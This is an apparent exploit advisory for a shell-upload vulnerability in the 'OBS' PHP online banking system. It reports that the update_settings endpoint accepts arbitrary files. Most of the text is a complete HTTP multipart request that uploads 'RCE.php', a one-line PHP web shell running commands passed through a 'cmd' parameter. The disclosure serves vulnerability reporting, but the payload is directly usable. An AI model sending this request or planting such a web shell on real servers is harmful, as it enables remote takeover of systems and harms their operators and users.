OBS 1.0 Shell Upload Vulnerability

# Titles: OBS (by: oretnom23 ) v1.0 -Copyright © 2025. All rights reserved.
### File Upload-FU and Remote Code Execution-RCE Vulnerabilities
# Author: nu11secur1ty
# Vendor: https://github.com/oretnom23
# Software:
https://www.sourcecodester.com/php/14868/banking-system-using-php-free-source-code.html#comment-105993
# Reference: https://portswigger.net/web-security/file-upload |
https://portswigger.net/web-security/file-upload/lab-file-upload-remote-code-execution-via-web-shell-upload

## Description:
The update_settings app with parameter "cimg" is vulnerable for File Upload
and then Remote Code Execution without any execution permission sanitizing.
The attacker can upload absolutely DANGEROUS files on that server and he
can destroy it with one click!

STATUS: HIGH-CRITICAL Vulnerability


[+]Exploit:
- RCE Exploit:

```RCE
POST /pwnedhost/banking/classes/SystemSettings.php?f=update_settings
HTTP/1.1
Host: 192.168.100.45
Cookie: PHPSESSID=7fd63jibgrngca52b9tpmi5psc
Content-Length: 853
Sec-Ch-Ua-Platform: "Windows"
Accept-Language: en-US,en;q=0.9
Sec-Ch-Ua: "Chromium";v="131", "Not_A Brand";v="24"
Sec-Ch-Ua-Mobile: ?0
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/131.0.6778.140 Safari/537.36
Accept: */*
Content-Type: multipart/form-data;
boundary=----WebKitFormBoundary6HD3dRMlU2C2zVV3
Origin: https://192.168.100.45
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://192.168.100.45/pwnedhost/banking/admin/?page=system_info
Accept-Encoding: gzip, deflate, br
Priority: u=1, i
Connection: keep-alive

------WebKitFormBoundary6HD3dRMlU2C2zVV3
Content-Disposition: form-data; name="name"

Online Banking System
------WebKitFormBoundary6HD3dRMlU2C2zVV3
Content-Disposition: form-data; name="short_name"

OBS
------WebKitFormBoundary6HD3dRMlU2C2zVV3
Content-Disposition: form-data; name="about_us"

<p>Sample About Us</p>
------WebKitFormBoundary6HD3dRMlU2C2zVV3
Content-Disposition: form-data; name="files"; filename=""
Content-Type: application/octet-stream


------WebKitFormBoundary6HD3dRMlU2C2zVV3
Content-Disposition: form-data; name="img"; filename="RCE.php"
Content-Type: application/octet-stream

<?php echo shell_exec($_GET["cmd"]);?>

------WebKitFormBoundary6HD3dRMlU2C2zVV3
Content-Disposition: form-data; name="cover"; filename=""
Content-Type: application/octet-stream


------WebKitFormBoundary6HD3dRMlU2C2zVV3--

```